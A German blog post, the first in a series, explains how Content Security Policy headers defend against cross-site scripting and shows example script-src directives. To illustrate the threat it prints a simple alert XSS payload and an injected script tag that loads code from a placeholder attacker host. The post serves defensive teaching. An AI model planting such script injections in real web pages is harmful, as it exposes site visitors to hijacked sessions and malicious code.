Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 1
Ab dieser Folge geht es um Schutzmaßnahmen gegen die verschiedensten Angriffe. Den Anfang macht die Content Security Policy, die Cross-Site Scripting (XSS) verhindern soll.
XSS im Überblick
Beim XSS wird JavaScript-Code in den Client einer Webanwendung eingeschleust. Das einfachste Beispiel ist die Suchfunktion, die ja fast jede Website bereit stellt. Werden die Eingaben darin ungeprüft und ungefiltert an den Benutzer zurückgegeben, ist darüber das sog. reflektierte XSS möglich: Bei der Suche nach zum Beispiel
<script>alert("XSS!")</script>
wird der eingegebene JavaScript-Code vom Server zurück an den Browser des Benutzers geschickt. Der gibt dann zum Beispiel die Meldung
Ihre Suche nach <script>alert("XSS!")</script> ergab 0 Treffer!
aus - und führt dabei den JavaScript-Code aus.
Weitere Varianten des XSS sind das persistente XSS, bei dem der XSS-Code zum Beispiel in einem Kommentar oder Gästebucheintrag gespeichert wird, und das DOM-basierte XSS, bei dem eine Schwachstelle im Clientseitige Code ausgenutzt wird. Das alles hier ausführlich zu beschreiben würde zum einen den Rahmen sprengen, zum anderen ist es für das Verständnis der Content Security Policy auch gar nicht nötig. Dafür reicht es, wenn sie wissen, dass beim XSS JavaScript-Code in den Clientseitigen Teil der Webanwendung, also dem Teil der im Browser läuft, eingeschleust wird.
Der herkömmliche XSS-Schutz
Um eine Webanwendung vor XSS-Angriffen zu schützen, gibt es prinzipiell zwei Wege: Der eingeschleuste Schadcode kann ausgefiltert werden, wobei prinzipiell die Gefahr besteht, dass zu wenig ausgefiltert wird, so dass ein Angriff weiterhin möglich ist. Oder die Eingaben können so kodiert werden, dass eingefügte Code nicht ausführbar ist. Im obigen Beispiel würde dafür zum Beispiel ausreichen, die < und > in die entsprechenden HTML-Entities < und > umzuwandeln. Der Browser erkannt dann keine zu interpretierenden HTML-Tags, sondern gibt die Befehle einfach als Text aus.
Leider ist das Ausfiltern oder Umkodieren gar nicht so einfach. Möglichkeiten, XSS-Filter zu umgehen, werden zum Beispiel im XSS Filter Evasion Cheat Sheet von OWASP und im HTML5 Security Cheatsheet zusammengefasst. Von der Gefahr, einen Parameter zu übersehen und ihn ohne Anwendung der Schutzfunktion auszugeben, ganz zu schweigen.
Die Content Security Policy im Überblick
Die Content Security Policy (CSP) wird vom W3C standardisiert und erlaubt es, die Verwendung von Skripten im Quelltext der Seite (d.h. Inline-Skripten) zu verbieten. Alle von der Seite benötigten Skripte werden dann in separate Dateien ausgelagert, und über eine Whitelist wird festgelegt, ob überhaupt Skripte geladen werden dürfen und wenn ja, von welchen Quellen dieses Nachladen erlaubt ist.
Das gleiche gilt sinngemäß auch für Frames, Bilder, Multimedia-Dateien, Plug-Ins, Stylesheets (CSS-Dateien) und Schriften. Außerdem kann festgelegt werden, mit welchen Servern der Browser über XMLHttpRequests, WebSockets und Server-Sent Events kommunizieren darf.
Die Content Security Policy im Einsatz
Die Content Security Policy wird vom Webserver über den HTTP-Header
Content-Security-Policy
festgelegt. Während der
Entwicklung des Standards nutzten die Browser einen Header mit Prefix:
X-Webkit-CSP
(Google Chrome und Safari) und
X-Content-Security-Policy
(Firefox und Internet Explorer 10,
letzter unterstützt aber nur die Sandbox der CSP). Seit Chrome 25 und
Firefox 23
wird von diesen beiden Browsern der Prefix-lose Header unterstützt.
Ausführlich wird die CSP im W3C-Standard beschrieben (wer hätte das gedacht?), ein paar Beispiel zeigen aber, wie das Ganze funktioniert. Fangen wir mit den Skripten an.
Content-Security-Policy: script-src 'self'
legt fest, dass Skripte nur von der eigenen Origin (also dem Server, von
dem die Seite geladen wurde) nachgeladen werden dürfen. Möchten
Sie auch Skripte von vertrauenswürdigen fremden Servern laden, geben
Sie die einfach im Content-Security-Policy
-Header an, zum
Beispiel https://apis.google.com
:
Content-Security-Policy: script-src 'self' https://apis.google.com
Jetzt können Skripte von der eigenen Domain und von
apis.google.com
nachgeladen werden, letzteres aber nur
über HTTPS und nicht über HTTP. Die Verwendung von HTTPS sorgt
dafür, dass nur Skripte von einem Server geladen werden, der sich mit
einem gültigen Zertifikat als apis.google.com
ausweist.
Schleust ein Angreifer nun zum Beispiel ein Tag wie
<script src="http://angreifer.example/boeses.js"></script>
in die Seite ein, gibt der Browser nur eine Fehlermeldung aus statt das
Skript von angreifer.example
zu laden, denn dieser Server ist
keine zulässige Quelle für Skripte.
Entsprechende Anweisungen gibt es wie schon erwähnt auch für viele weitere Ressourcen. Welche, erfahren Sie in der nächsten Folge.
Übersicht über alle Artikel zum Thema
- Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 1
- Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 2
- Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 3
- Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 4
- Schutzmaßnahmen: Der Pufferüberlauf im Überblick
- Schutzmaßnahmen: Canary und DEP gegen Pufferüberlauf-Schwachstellen
- Schutzmaßnahmen: ASLR gegen Pufferüberlauf-Schwachstellen
- Schutzmaßnahmen: ASLR kann unterlaufen werden
- Schutzmaßnahmen: Weitere Angriffe trotz ASLR
Trackbacks
Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 2.2014 - Angriffsziel Webbrowser
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Clickjacking-Angriffe verhindern - der aktuelle Stand der Dinge
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 12.2014 - JavaScript und die Sicherheit
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Neues eBook: "JavaScript Security - Sicherheit im Webbrowser"
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Die Universal Cross-Site Scripting (UXSS) Schwachstelle im Internet Explorer 10 und 11
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 4.2015 - Der Browser im Visier - ganz praktisch
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 5: Resident XSS
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 4.2015 - Cross-Side Request Forgery
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: Windows Developer 1.16 - Edge und die Sicherheit
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Neues eBook: "Websecurity - Angriffe mit SSRF, CSRF und XML"
Vorschau anzeigen
www.drweb.de am : PingBack
Die Anzeige des Inhaltes dieses Trackbacks ist leider nicht möglich.entwickler.de am : PingBack
Die Anzeige des Inhaltes dieses Trackbacks ist leider nicht möglich.